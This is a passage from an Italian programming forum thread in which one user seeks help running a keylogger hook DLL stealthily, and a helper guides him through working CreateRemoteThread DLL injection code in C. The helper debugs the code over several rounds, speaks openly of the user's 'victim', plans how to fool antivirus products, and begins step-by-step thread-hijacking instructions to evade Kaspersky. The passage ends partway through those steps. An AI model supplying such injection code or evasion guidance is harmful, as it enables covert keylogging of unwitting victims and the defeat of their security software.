View Full Version : [c] consiglio dll
ho una dll che serve per implementare un hook che teoricamente nn si dovrebbe vedere
per eseguirla mi conviene utilizzare un normale programma che nn crei nessuna finestra ma facilmente killabile da un utente + "attento"
oppure usare qualche tecnica in particolare?
ho letto di queste dll injection ma gli antivirus fanno delle storie, ho letto anche di questi SHATTER ATTACK ma sn un'attimino complessi...
un modo semplice di "lanciare" una DLL è usare regsvr32.exe
ilsensine
01-08-2007, 12:04
un modo semplice di "lanciare" una DLL è usare regsvr32.exe
Forse intendi...rundll32 (http://support.microsoft.com/kb/164787/it)
Forse intendi...rundll32 (http://support.microsoft.com/kb/164787/it) veramente no, parlavo proprio di regsvr32: è un programma che serve tra l'altro a registrare le shell extensions, cioè quelle DLL che sono dei plugins per la shell grafica di Windows (per esempio possono aggiungere voci nei menu di contesto che appaiono quando si fa clic destro sull'icona di un file; WinRAR lo fa). i motivi percui suggerisco regsvr32 anziché rundll32 sono i seguenti:
1) non conosco molto bene rundll32 ma mi pare (anche dalla descrizione che leggo nel link) che la DLL caricata debba rispettare un'interfaccia ben definita e che non possa chiamare le API
2) non è necessario realizzare una vera e propria shell extension: regsvr32 carica la DLL e ne chiama l'entry point, qualunque cosa contenga. a quel punto è fatta: del tuo codice viene eseguito, e quel codice può anche chiamare delle funzioni API. eseguito quel codice, della shell extension può anche fregarsene e far ritornare FALSE alla DllMain, simulando un errore di caricamento. però intanto il tuo codice è stato eseguito e tramite di esso la tua DLL può essersi iniettata chissà dove.
uhm quindi bastare fare un semplice
Regsvr32.exe c:\prova\nomefle.dll
per eseguire una dll senza prg strani che girano? :D
uhm quindi bastare fare un semplice
Regsvr32.exe c:\prova\nomefle.dll
per eseguire una dll senza prg strani che girano? :D si però devi avere l'accortezza di ritornare FALSE dalla DllMain, altrimenti regsvr32 continuerà a caricare la tua ipotetica shell extension aspettandosi di trovare nella tua DLL tutta l'interfaccia necessaria. in pratica devi simulare un errore di caricamento.
inoltre io ci metterei per sicurezza anche l'opzione /s:
regsvr32 /s c:\blah\doh.dll
uhm si cn quello me lo carica però se metto return false mi si blocca subito... invece se lascio true sembra funzionare ma viene quasi subito rilasciata
uhm si cn quello me lo carica però se metto return false mi si blocca subito... invece se lascio true sembra funzionare ma viene quasi subito rilasciata la tua DLL non possiede l'interfaccia necessaria per essere realmente registrata, quindi devi mettere un return FALSE. il motivo percui smette subito di funzionare dipende dal codice che viene eseguito dalla DllMain prima di ritornare con FALSE. puoi postarlo? casomai prova anche ad incrementare il reference count della tua DLL facendo una LoadLibrary passandogli il nome della tua DLL (in questo modo una sola FreeLibrary non basterà a scaricarla, ne serviranno due e suppongo che regsvr32 ne faccia una sola), ma non credo che servirà a molto perché comunque regsvr32 non è un programma fatto per restare in esecuzione: registra ed esce, sia che abbia avuto successo sia che non ne abbia avuto. hai detto di aver utilizzato un Windows Hook: ora controllo se i Windows Hooks vengono eliminati automaticamente quando la DLL viene scaricata dal processo originario.
per ora stavo giochicchiando con la dll postata da fidel nel 3d del keylogger... nn essendo capace di rifarla provo a cambiarci qualcosina per migliorarlo e capire esattamente cosa fa... ho provato anche a cercare un po' su internet ma nn trovo niente di interessante...
per ora sto usando un semplice LoadLibrary e se metto la visualizzazione di un messaggio prima del rilascio della dll questa funziona correttamente, appena premo ok avviene il rilascio e smette di funzionare.. molto probabilmente è + complessa di quello che pensavo e nn riesco a farla partire...
non so se l'hook viene cancellato automaticamente alla terminazione del processo originario ma in teoria è una cosa possibile, quindi tanto vale premunirsi contro tale eventualità. l'idea che mi è venuta in mente è questa: ogni volta che nella DllMain ricevi una notifica DLL_PROCESS_ATTACH chiami LoadLibrary col nome della tua DLL, incrementandone così il reference count. tieni però presente che l'hook verrebbe disinstallato... potresti installarne uno nuovo, ma cercherei una soluzione più semplice. domanda: l'hook ti serve per davvero o è solo un modo per far sì che User32 ti caricasse dappertutto?
per ora stavo giochicchiando con la dll postata da fidel nel 3d del keylogger... nn essendo capace di rifarla provo a cambiarci qualcosina per migliorarlo e capire esattamente cosa fa... ho provato anche a cercare un po' su internet ma nn trovo niente di interessante...
per ora sto usando un semplice LoadLibrary e se metto la visualizzazione di un messaggio prima del rilascio della dll questa funziona correttamente, appena premo ok avviene il rilascio e smette di funzionare.. molto probabilmente è + complessa di quello che pensavo e nn riesco a farla partire... il problema è che se usi rundll32 come proponeva ilsensine poi il processo rundll32.exe resta visibile nel Task Manager e può essere terminato. per un utonto è un processo "fidato", ma un utente un po' più accorto potrebbe semplicemente informarsi su cosa faccia realmente (esegue gli applet del pannello di controllo) e vedendo che resta in esecuzione pure col pannello di controllo chiuso si insospettirebbe e lo terminerebbe, quindi sarebbe meglio se la DLL installasse l'hook solo quando è stata caricata in qualche processo di "lungo termine", come explorer.exe. ho partecipato anche io al thread del keylogger che dici (se ho capito qual è), e ricordo che la DLL di fidel non prevedeva l'eventualità che l'hook dovesse essere installato da un processo diverso da quello che effettua il primo caricamento.
esatto è lo stesso 3d dove avevi postato anche te... avevo pensato a fare un injection dll ma ormai gli antivirus fanno storie :(
così avevo inizialmente provato a vedere se funzionava caricandola normalmente ma appena si scarica puff scompare anche l'hook
tomminno
02-08-2007, 22:23
esatto è lo stesso 3d dove avevi postato anche te... avevo pensato a fare un injection dll ma ormai gli antivirus fanno storie :(
così avevo inizialmente provato a vedere se funzionava caricandola normalmente ma appena si scarica puff scompare anche l'hook
Io darei un'occhiata a questa:
http://www.codeproject.com/system/Paladin.asp
AVG 7.5 e Symantec Corporate non battono ciglio, riesci ad agganciare un hook a qualunque API Win32. L'unico problema che ho riscontrato è che su alcuni computer recenti provando a nascondersi al task manger questo viene terminato, sicuramente non è a causa dell'antivirus forse è il no execute (NX) che fa killare il processo, non ho ancora capito però se è questa la causa.
Io darei un'occhiata a questa:
http://www.codeproject.com/system/Paladin.asp
AVG 7.5 e Symantec Corporate non battono ciglio, riesci ad agganciare un hook a qualunque API Win32. L'unico problema che ho riscontrato è che su alcuni computer recenti provando a nascondersi al task manger questo viene terminato, sicuramente non è a causa dell'antivirus forse è il no execute (NX) che fa killare il processo, non ho ancora capito però se è questa la causa. non se ne fa molto: da quanto ho capito vuole fare un keylogger, usando l'API Hooking dovrebbe hookare GetMessage; in linea di principio è una pessima strategia.
@KrYeD: la DLL injection presuppone che tu abbia già del tuo codice in esecuzione; se puoi fare questa assunzione allora possiamo procedere con una tecnica di DLL injection alternativa di mia invenzione (:D) che forse non darà nell'occhio agli antivirus, o in alternativa si può provare qualche magheggio per far sì che gli antivirus non si accorgano di nulla. nella seconda ipotesi bisogna capire qual è di preciso il punto del codice che fa insospettire l'antivirus, ma dovrai procurarti qualche antivirus tra i più diffusi o tra quelli di cui più probabilmente dispone la tua vittima.
intanto chiariamo la situazione: tu puoi assumere di eseguire codice prima di aver iniettato la tua DLL ed avviato il keylogger?
non se ne fa molto: da quanto ho capito vuole fare un keylogger, usando l'API Hooking dovrebbe hookare GetMessage; in linea di principio è una pessima strategia.
@KrYeD: la DLL injection presuppone che tu abbia già del tuo codice in esecuzione; se puoi fare questa assunzione allora possiamo procedere con una tecnica di DLL injection alternativa di mia invenzione (:D) che forse non darà nell'occhio agli antivirus, o in alternativa si può provare qualche magheggio per far sì che gli antivirus non si accorgano di nulla. nella seconda ipotesi bisogna capire qual è di preciso il punto del codice che fa insospettire l'antivirus, ma dovrai procurarti qualche antivirus tra i più diffusi o tra quelli di cui più probabilmente dispone la tua vittima.
intanto chiariamo la situazione: tu puoi assumere di eseguire codice prima di aver iniettato la tua DLL ed avviato il keylogger?
uhm nel mio uso kav6, nell'altro pc uso norton quindi ne ho un paio da testare :)
beh si prima di iniettarlo posso eseguire qualcosa... (sempre se ho capito la domanda visto che mi sn appena svegliato :p )
cmq dici che la dll injection è la miglior soluzione per essere il + stealth possibili (senza complicarci troppo la vita) ?
cmq dici che la dll injection è la miglior soluzione per essere il + stealth possibili (senza complicarci troppo la vita) ? in realtà esistono programmi per enumerare le DLL caricate in un processo, di conseguenza sei comunque visibile, ma non credo che ti interessi nasconderti anche per queste evenienze.
per quanto riguarda la DLL injection, una delle innumerevoli tecniche consiste nel chiamare CreateRemoteThread (http://msdn2.microsoft.com/en-us/library/ms682437.aspx) passandogli come indirizzo dell'entry point l'indirizzo della funzione API LoadLibrary (http://msdn2.microsoft.com/en-us/library/ms684175.aspx), cosicché il nuovo thread carichi la tua DLL. la prima cosa da fare è enumerare i processi con EnumProcesses (http://msdn2.microsoft.com/en-us/library/ms682629.aspx) e trovare quello che ti interessa. se per esempio quello che ti interessa è explorer.exe allora per ciascun processo enumerato devi ottenerne il base name con GetModuleBaseName (http://msdn2.microsoft.com/en-us/library/ms683196.aspx) e confrontarlo in maniera case insensitive con la stringa "explorer.exe". in questo modo trovi il PID di explorer.exe. trovato quello apri un HANDLE con OpenProcess (http://msdn2.microsoft.com/en-us/library/ms684320.aspx), che alla fine di tutto chiuderai con CloseHandle (http://msdn2.microsoft.com/en-us/library/ms724211.aspx).
ora viene l'injection vera e propria. la tecnica che ti spiegherò consiste nel chiamare CreateRemoteThread (che ti servirà a creare un thread nello spazio di indirizzamento del processo di explorer.exe) passandole come entry point la funzione API LoadLibrary, in maniera tale che il thread non farà altro che caricare la tua DLL.
la prima cosa da fare è scrivere nella memoria di explorer.exe il path completo della tua DLL: lo dovrai passare come argomento al nuovo thread (cioè alla LoadLibrary). quindi ricavati il path (questo sai tu come farlo, a seconda di dove prevedi che sarà la DLL), poi alloca un'area di memoria in explorer.exe grossa abbastanza utilizzando la VirtualAllocEx (http://msdn2.microsoft.com/en-us/library/aa366890.aspx), ed infine scrivici il path con WriteProcessMemory (http://msdn2.microsoft.com/en-us/library/ms681674.aspx).
fatto questo chiama CreateRemoteThread passandole al quarto parametro esattamente questa cosa:
(LPTHREAD_START_ROUTINE)LoadLibraryA
ma attenzione a Unicode: io ho scritto LoadLibraryA perché ho dato per scontato che tu ti ricavassi il path in formato ANSI, ma se invece usi Unicode allora devi passargli LoadLibraryW.
se il thread viene creato attendi che esso termini passandone l'HANDLE alla WaitForSingleObject (http://msdn2.microsoft.com/en-us/library/ms687032.aspx) (l'HANDLE è quello ritornato dalla CreateRemoteThread), ed in caso analizzane il codice di uscita con la GetExitCodeThread (http://msdn2.microsoft.com/en-us/library/ms683190.aspx) per sapere se la DLL è stata caricata con successo (chiaramente il valore ritornato da GetExitCodeThread sarà esattamente lo stesso ritornato da LoadLibrary). in ogni caso ricordati ti deallocare con VirtualFreeEx (http://msdn2.microsoft.com/en-us/library/aa366894.aspx) la memoria che hai allocato con VirtualAllocEx per scrivere il path della DLL. infine chiudi con CloseHandle l'HANDLE del thread remoto.
prova a buttare del codice e a farlo andare, e se gli antivirus rompono le scatole vedremo di preciso quale chiamata API li fa insospettire e a seconda vedremo la soluzione migliore.
uhm ti ringrazio per la bellissima guida, ora sto tentando di metterla in pratica, con un po' (tanti) errori a quanto pare :P
per ora ho creato questa cosa sbagliatissima usando solo msdn
ovviamente nn funziona, ma almeno dimmi se mi sto avvicinando a qualcosa oppure sono partito per la tangente :D
int _tmain(int argc, _TCHAR* argv[])
{
DWORD proclist[1024], nbit, cProcesses, nsize[50];
int i;
HANDLE handleproc, p;
LPWSTR nomeproc;
LPVOID ind;
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ )
if( proclist[i] != 0 )
{
handleproc = OpenProcess(PROCESS_VM_WRITE,FALSE,proclist[i]);
GetModuleBaseName(handleproc,NULL,&nomeproc,nsize);
if(nomeproc=="calc.exe") //uhm
{
p=LoadLibrary("C:\\key.dll");
ind=VirtualAllocEx(handleproc,NULL,1024,MEM_RESERVE,PAGE_EXECUTE_WRITECOPY);
WriteProcessMemory(handleproc,ind,...,&p)
}
}
return 0;
}
per ora ho creato questa cosa sbagliatissima usando solo msdn
ovviamente nn funziona, ma almeno dimmi se mi sto avvicinando a qualcosa oppure sono partito per la tangente :D mannò, continua così che stavi andando benino :) :p
qualche correzione:
linea 13: quell'if non serve, puoi anche toglierlo (tanto se becchi il PID 0 ti fallisce la OpenProcess).
linea 15: PROCESS_VM_WRITE non basta, non devi solo scrivere memoria: devi anche allocare il thread, e tra l'altro penso che PROCESS_VM_WRITE da solo non basti neanche ad allocare con VirtualAllocEx la memoria che vuoi scrivere. per ora mettici un brutale PROCESS_ALL_ACCESS, poi casomai si vedrà.
linea 16: nomeproc non è allocato, e tra l'altro l'hai esplicitamente dichiarato come Unicode mentre invece hai usato la versione portabile della funzione GetModuleBaseName (non ha ne' il suffisso A ne' W). scegli se vuoi usare ANSI, Unicode, o se vuoi fare un sorgente portabile tra i due standard: nel primo caso devi dichiarare il buffer come LPSTR e usare esplicitamente GetModuleBaseNameA; nel secondo buffer LPWSTR e funzione GetModuleBaseNameW; nel terzo buffer LPTSTR e funzione GetModuleBaseName. se non hai preferenze è consigliabile fare una versione portabile compilandola però in Unicode definendo la macro UNICODE, macro che Visual C++ 2005 definisce già automaticamente di default (infatti scommetto che stai usando quello, si vede dal tipo di errore che hai fatto :D).
sempre linea 16: ma nsize non era un array? :wtf:
linea 17: fa bene a farti riflettere quella cosa, infatti è sbagliata :p
devi usare la funzione lstrcmpi (http://msdn2.microsoft.com/en-us/library/ms647489.aspx), che sarebbe la versione API Win32 della strcasecmp. conviene usare lstrcmpi piuttosto che strcasecmp perché lstrcmpi è portabile ANSI/Unicode (infatti esiste lstrcmpiA e lstrcmpiW).
linea 19: piccolo appunto, stai usando implicitamente LoadLibraryW (versione Unicode) però gli hai passato una stringa ANSI. per scrivere una stringa costante Unicode in C devi usare il prefisso L:
LoadLibraryW(L"C:\\key.dll");
ma piuttosto che fare così ti conviene usare la macro TEXT che ti da la portabilità:
LoadLibrary(TEXT("C:\\key.dll"));
linea 20: MEM_RESERVE non va bene, usa MEM_COMMIT. PAGE_EXECUTE_WRITECOPY neanche va bene: usa PAGE_READWRITE.
apperò un degenero di errori a quanto vedo :D
cmq si uso visual c++ 2005 :p
ecco la continuazione del codice + le correzioni apportate :) ci saranno ancora un casino di errori eh, nn credere di nn trovarli :D
int _tmain(int argc, _TCHAR* argv[])
{
DWORD proclist[1024], nbit, cProcesses, nsize;
int i;
HANDLE handleproc, p, newthread;
LPTSTR nomeproc;
LPVOID ind;
LPDWORD threadid, exitcode;
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ )
handleproc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,proclist[i]);
GetModuleBaseName(handleproc,NULL,&nomeproc, sizeof(nomeproc));
if(lstrcmpi(nomeproc,TEXT("calc.exe")))
{
p=LoadLibrary(TEXT("C:\\key.dll"));
ind=VirtualAllocEx(handleproc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(handleproc,ind,&p,1000,NULL);
newthread=CreateRemoteThread(handleproc,NULL,0,(LPTHREAD_START_ROUTINE)LoadLibrary,ind,0,&threadid);
WaitForSingleObject(newthread,1000);
//GetExitCodeThread(newthread,&exitcode);
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
CloseHandle(newthread);
}
return 0;
}
ci avviciniamo sempre di più, un altro paio di mandate e funzionerà :p
linea 13: hai dimenticato di allocare nomeproc. nomeproc attualmente è dichiarato come puntatore, non come vettore, quindi la sizeof restituisce semplicemente 4 (la dimensione di un puntatore da 32 bit, posto che lavori su Win32). ho ricontrollato adesso come funge di preciso la GetModuleBaseName per quanto riguarda il buffer: in caso di overflow semplicemente tronca il nome. direi che per comodità per ora puoi semplicemente assumere che il base name del processo non sia più lungo di tot caratteri, facciamo 0x100 (cioè 256), quindi nomeproc va dichiarata così:
TCHAR nomeproc[0x100];
e successivamente quando chiami GetModuleBaseName passa 0x100 * sizeof(TCHAR) anziché la sizeof. per rendere più chiaro il codice meglio se metti quel 0x100 in una costante o in una macro.
piccola nota: una variabile di tipo LPTSTR è ad un puntatore a TCHAR. LPTSTR equivale a TCHAR*
linea 14: lstrcmpi funziona come tutte le altre funzioni della famiglia strcmp: ritorna -1 se la prima stringa precede la seconda in ordine lessicografico, 0 se sono uguali, 1 se la prima succede la seconda. quindi una comparazione che abbia esito positivo nel tuo caso ritornerebbe 0, il che significa che quell'if dovrebbe essere invertito mettendoci un bel not:
if(!lstrcmpi(nomeproc,TEXT("calc.exe")))
linea 16: vedo che questo errore c'era anche prima ma non l'avevo notato. p da quanto vedo punta a ciò che tu vuoi scrivere nella memoria dell'altro processo, ovverosia (stando alla tecnica di DLL injection che stiamo mettendo in atto) una stringa Unicode contenente il path completo del file della DLL. quindi a p dovresti semplicemente assegnare TEXT("..."), mentre invece gli assegni il valore ritornato dalla LoadLibrary.
per la cronaca apro una parentesi: poiché il valore di ritorno della LoadLibrary capita che sia un puntatore all'area di memoria contenente la DLL caricata nel tuo processo, ciò che ottieni in questo modo errato è che copi nell'altro processo i primi 1024 bytes della DLL stessa :D
avrebbe potuto essere un'altra tecnica di DLL injection, a patto di copiare tutta la DLL anziché solo i primi 1024 bytes, ma è una tecnica che rispetto a quella attuale ha pro e contro. pro: la DLL verrebbe copiata in una anonimissima area di memoria e quindi sarebbe completamente invisibile. contro: la tecnica è molto più complicata perché la DLL dopo essere stata ricopiata va anche rilocata e per sicurezza ri-bindata. dimentica tutta questa parentesi e torniamo a noi :)
linea 18: non c'è bisogno di passare il puntatore a p poiché p è già di per se' il puntatore che punta all'area di memoria del tuo processo contenente i dati che vuoi che vengano scritti nell'altro. passa semplicemente p.
linea 20: perché mettere un timeout di 1 secondo? in effetti dovrebbe essere sufficiente, ma inutile interrompere l'attesa, a sto punto tanto vale aspettare finché il thread non termina del tutto. io ci metterei INFINITE.
per il resto mi sembra che vada tutto, anche se dovresti controllare più spesso i valori ritornati dalle funzioni: certe situazioni di errore possono anche essere ignorate (per esempio se fallisce una CloseHandle ci puoi fare ben poco), ma altre sicuramente no (se ti fallisce la OpenProcess è inutile continuare per ovvi motivi: piuttosto conviene fare una continue e passare all'iterazione successiva).
per l'esattezza queste sono le funzioni di cui non dovresti ignorare i valori di ritorno per eventuali errori:
* OpenProcess - può fallire per i processi a cui ti è negato l'accesso, per esempio i servizi. in tal caso fai una continue.
* VirtualAllocEx - può fallire se il processo che hai aperto ha riempito completamente il suo spazio di indirizzamento virtuale allocando una marea di memoria. in tal caso fregatene: fai CloseHandle(handleproc) e passa al processo successivo con una continue.
* WriteProcessMemory - una volta che la VirtualAllocEx abbia avuto successo questa non dovrebbe fallire visto che hai usato PROCESS_ALL_ACCESS, ma non si sa mai: controlla e in caso continue anche qui, ma non prima di aver fatto una VirtualFreeEx e una CloseHandle.
* CreateRemoteThread - come la VirtualAllocEx può fallire in caso di risorse limitate, come ad esempio quando il processo target ha esaurito gli HANDLE (magari perché ha un leak). stessa reazione del fallimento della WriteProcessMemory.
* WaitForSingleObject - non può fallire, ma se per qualche assurdissimo motivo della terra lo facesse tu con la VirtualFreeEx che viene dopo interferiresti con l'injection perché libereresti il buffer contenente il file name. controlla se fallisce, e in caso evita la VirtualFreeEx. qui non serve la continue perché a questo punto hai finito: arrivi normalmente alla CloseHandle e continua da solo.
invece puoi tranquillamente ignorare i valori di ritorno di VirtualFreeEx e CloseHandle: non falliranno, ma se lo facessero non ci potresti fare molto.
ma se fallisce una sola di quelle cose faccio prima a interrompere tutto oppure deve ricercare un'altro processo?
ma se fallisce una sola di quelle cose faccio prima a interrompere tutto oppure deve ricercare un'altro processo? se ti fallisce una delle chiamate di cui ti suggerisco di controllare il valore di ritorno per eventuali fallimenti (appunto :p) non è necessario ricominciare tutto daccapo, anche perché molto probabilmente fallirà tale e quale. semplicemente continua col processo successivo che hai nell'array dei PID. conosci lo statement continue? è una keyword del C che ti permette di passare direttamente all'iterazione successvia di un loop.
ahhh oky :p
quindi teoricamente esce fuori una cosa del genere?
int _tmain(int argc, _TCHAR* argv[])
{
DWORD proclist[1024], nbit, cProcesses, nsize;
int i;
HANDLE handleproc, p, newthread;
TCHAR nomeproc[0x100];
LPVOID ind;
LPDWORD threadid, exitcode;
BOOL b;
DWORD dwWaitResult;
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ )
{
handleproc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,proclist[i]);
if (handleproc == NULL)
{
continue;
}
GetModuleBaseName(handleproc,NULL,&nomeproc, 0x100 * sizeof(TCHAR));
if(!lstrcmpi(nomeproc,TEXT("calc.exe")))
{
p=TEXT("C:\\key.dll");
ind=VirtualAllocEx(handleproc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
if (ind == NULL)
{
CloseHandle(handleproc);
continue;
}
b=WriteProcessMemory(handleproc,ind,p,1000,NULL);
if (b==0)
{
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
CloseHandle(handleproc);
continue;
}
newthread=CreateRemoteThread(handleproc,NULL,0,(LPTHREAD_START_ROUTINE)LoadLibrary,ind,0,&threadid);
if (newthread == NULL)
{
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
CloseHandle(handleproc);
continue;
}
dwWaitResult=WaitForSingleObject(newthread,INFINITE);
if (dwWaitResult != WAIT_FAILED)
{
//GetExitCodeThread(newthread,&exitcode);
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
}
CloseHandle(newthread);
}
}
return 0;
}
vc ora mi rompe cn sti due errori :
error C2664: 'GetModuleBaseNameW' : cannot convert parameter 3 from 'TCHAR (*__w64 )[256]' to 'LPWSTR' 31
e
error C2664: 'CreateRemoteThread' : cannot convert parameter 7 from 'LPDWORD *__w64 ' to 'LPDWORD' 48
ottimo! i due errori sono due sciocchezze: alla GetModuleBaseName non devi passare un puntatore a nomeproc, ma direttamente nomeproc. alla CreateRemoteThread invece devi passare un puntatore a un DWORD, ma la variabile che hai dichiarato è già un LPDWORD; se gliela passi così com'è avrai una bella eccezione in runtime perché gli passi un puntatore non inizializzato; piuttosto dichiara threadid semplicemente come DWORD anziché LPDWORD. corrette queste due cose dovrebbe compilare e anche funzionare, non mi pare ci siano altri errori.
di conseguenza sta per arrivare la parte più divertente, ovvero gabbare gli eventuali antivirus che rompano le scatole :p
:p bene ora nn mi dà + quei due errori, ma me ne dà 3 nuovi lol
Error 2 error LNK2019: unresolved external symbol _GetModuleBaseNameW@16 referenced in function _wmain
Error 3 error LNK2019: unresolved external symbol _EnumProcesses@12 referenced in function _wmain
Error 4 fatal error LNK1120: 2 unresolved externals
linka psapi.lib. puoi farlo o dalle opzioni di linking del progetto di Visual C++ oppure direttamente da codice aggiungendo questa linea dove vuoi (tipicamente si mette subito dopo l'include):
#pragma comment(lib, "psapi.lib")
non serve il punto e virgola finale.
riguardando come è venuto l'algoritmo mi sono accorto di un errore: il for in ogni iterazione apre un HANDLE ad un processo, però alla fine dell'iterazione lo chiude solamente se è riuscito ad entrare nell'if!! cioè vengono chiusi solamente gli HANDLE delle istanze di calc.exe, mentre gli HANDLE a tutti gli altri processi vengono leakati. per correggere basta che sposti l'ultimissima CloseHandle fuori dall'if. per chiarezza:
int _tmain(int argc, _TCHAR* argv[])
{
DWORD proclist[1024], nbit, cProcesses, nsize;
int i;
HANDLE handleproc, p, newthread;
TCHAR nomeproc[0x100];
LPVOID ind;
LPDWORD threadid, exitcode;
BOOL b;
DWORD dwWaitResult;
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ )
{
handleproc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,proclist[i]);
if (handleproc == NULL)
{
continue;
}
GetModuleBaseName(handleproc,NULL,&nomeproc, 0x100 * sizeof(TCHAR));
if(!lstrcmpi(nomeproc,TEXT("calc.exe")))
{
p=TEXT("C:\\key.dll");
ind=VirtualAllocEx(handleproc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
if (ind == NULL)
{
CloseHandle(handleproc);
continue;
}
b=WriteProcessMemory(handleproc,ind,p,1000,NULL);
if (b==0)
{
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
CloseHandle(handleproc);
continue;
}
newthread=CreateRemoteThread(handleproc,NULL,0,(LPTHREAD_START_ROUTINE)LoadLibrary,ind,0,&threadid);
if (newthread == NULL)
{
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
CloseHandle(handleproc);
continue;
}
dwWaitResult=WaitForSingleObject(newthread,INFINITE);
if (dwWaitResult != WAIT_FAILED)
{
//GetExitCodeThread(newthread,&exitcode);
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
}
CloseHandle(newthread);
}
CloseHandle(handleproc);
}
return 0;
}
EDIT - rileggendo ancora meglio :D mi sono accorto che la CloseHandle che ti ho detto di spostare chiudeva l'handle del thread, non del processo; vanno chiusi entrambi :D ho editato il codice ;)
:p perfect ora è rimasto sl questo warning :D
Warning 1 warning C4018: '<' : signed/unsigned mismatch 24
:p perfect ora è rimasto sl questo warning :D
Warning 1 warning C4018: '<' : signed/unsigned mismatch 24 bah, pignolerie, se lo vuoi eliminare basta che dichiari i come unsigned int anziché int :p
haha si ma a me nn cambia nulla :D
e ora così dici che gli av danno qualche problema?
haha si ma a me nn cambia nulla :D
e ora così dici che gli av danno qualche problema? boh, io non lo so perché non ho nessun antivirus, quindi non ti resta che provare :P
tanto per cominciare vedi se funziona senza antivirus, poi vedremo se funziona anche con. per fare un test potresti creare una DLL la cui DllMain mostra una message box (vedi funzione MessageBox (http://msdn2.microsoft.com/en-us/library/ms645505.aspx)): avvii la calcolatrice, gli inietti la DLL e vedi se il processo della calcolatrice ti mostra la message box. come prova definitiva scrivi nella message box il PID ottenuto con GetCurrentProcessId (http://msdn2.microsoft.com/en-us/library/ms683180.aspx) e quando ti appare controlla che coincida col PID segnalato dal Task Manager per calc.exe.
aggiungo: in caso l'antivirus facesse storie ho pronta la tecnica sostitutiva di DLL injection :D
si tratta di Thread Hijacking e consiste nel dirottare un thread già esistente nel processo target anziché crearne uno nuovo. questo dovrebbe funzionare nell'ipotesi probabile che l'antivirus si lamenti della CreateRemoteThread. altrimenti non so, come ti ho detto precedentemente bisogna vedere di preciso qual è la chiamata API che lo insospettisce (bisognerà far andare il programma "iniettore" passo-passo in un debugger, oppure farcirlo di sleep tra un'API e l'altra che lo facciano andare piano e di printf che facciano capire a che punto è arrivato).
funziona molto bene :D
kav6 mi ha istant beccato:
Il processo C:\dllinje.exe (PID: 5812) sta tentando di invadere il processo C:\WINDOWS\system32\calc.exe (PID: 2088). Questo comportamento è tipico di alcuni malware.
ora provo con norton
norton nn aggiornato nn fa una piega
funziona molto bene :D
kav6 mi ha istant beccato:
Il processo C:\dllinje.exe (PID: 5812) sta tentando di invadere il processo C:\WINDOWS\system32\calc.exe (PID: 2088). Questo comportamento è tipico di alcuni malware. LOL :rotfl:
vabbè ma mettendo da parte gli AV il tutto funziona? :D
cioè hai provato a vedere se la DLL da iniettare viene effettivamente iniettata?
ora provo con norton
norton nn aggiornato nn fa una piega cioè quella schifezza di norton non riesce a detectare un comportamento così palese? :asd:
sisi facendo ignora il risultato è perfetto, carica la dll, scrive nel txt e appena chiudo il processo scarica tutto perfettamente
lol spero che norton nn lo rileva perchè è una versione "vecchia"
sisi facendo ignora il risultato è perfetto, carica la dll, scrive nel txt e appena chiudo il processo scarica tutto perfettamente ok, allora adesso esegui l' "iniettore" passo-passo nel debugger di Visual C++ (mi pare che fosse F11 per il comando Step Into ed F10 per Step Over) e vedi a quale chiamata API si "sveglia" il kav.
newthread=CreateRemoteThread(handleproc,NULL,0,(LPTHREAD_START_ROUTINE)LoadLibrary,ind,0,&threadid);
è questa
e ti pareva :asd:
procediamo col thread hijacking :D
ciò che faremo consiste nell'implementare una routine di caricamento della DLL, ricopiarla nella memoria dell'altro processo, ottenere il TID (Thread ID) di un qualsivoglia thread del processo, e dirottare tale thread sulla nostra routine di caricamento. "dirottare" un thread consiste fondamentalmente, se conosci un po' il funzionamento dei registri dei processori x86, nel settare il registro EIP di quel thread in modo tale che punti a dove vogliamo che il thread venga dirottato; poi chiaramente bisogna anche ripristinare i valori originari di quel registro, e per completezza sarebbe anche bene ripristinare l'intero contesto del thread, ovvero lo stato di tutti i registri, in quanto sicuramente la routine di caricamento andrà a sovrascriverli impedendo al thread dirottato di continuare a funzionare regolarmente. inoltre una volta che la DLL è stata caricata possiamo anche cancellare la routine di caricamento usando la VirtualFreeEx.
questi sono i passi da seguire:
* dichiari una struct contenente un HANDLE ad un Event Object e un vettore di TCHAR; il vettore di TCHAR serve a memorizzare il path della dll, l'evento invece più avanti capirai a cosa servirà.
* implementi nel tuo programma una funzione MyLoadLibrary che ritorna void e che prende come argomento un puntatore alla struttura sopra dichiarata
* crei un evento con CreateEvent, non fa differenza se sia manual-reset o auto-reset ma io in genere preferisco auto-reset
* solita storia, enumeri i processi, trovi il processo che ti serve e vi accedi con OpenProcess
* con la DuplicateHandle duplichi l'HANDLE dell'evento in maniera tale che sia visibile anche nell'altro processo
* VirtualAllocEx e allochi l'area di memoria in cui scriverai un'istanza della struct contenente l'handle dell'evento e il path della dll
* fai un'altra VirtualAllocEx e allochi l'area di memoria in cui scriverai la MyLoadLibrary
* con altrettante WriteProcessMemory scrivi la struct da una parte e la MyLoadLibrary dall'altra
* enumeri i thread del processo con le Toolhelp, prendi il primo thread enumerato, lo apri con OpenThread e lo sospendi con SuspendThread
* prelevi l'intero contesto (ovvero lo stato di tutti i registri) del thread con GetThreadContext, e ti conservi per dopo la struttura CONTEXT
* fai una copia identica della struttura CONTEXT in una struttura nuova; per comodità puoi usare la CopyMemory o la memcpy
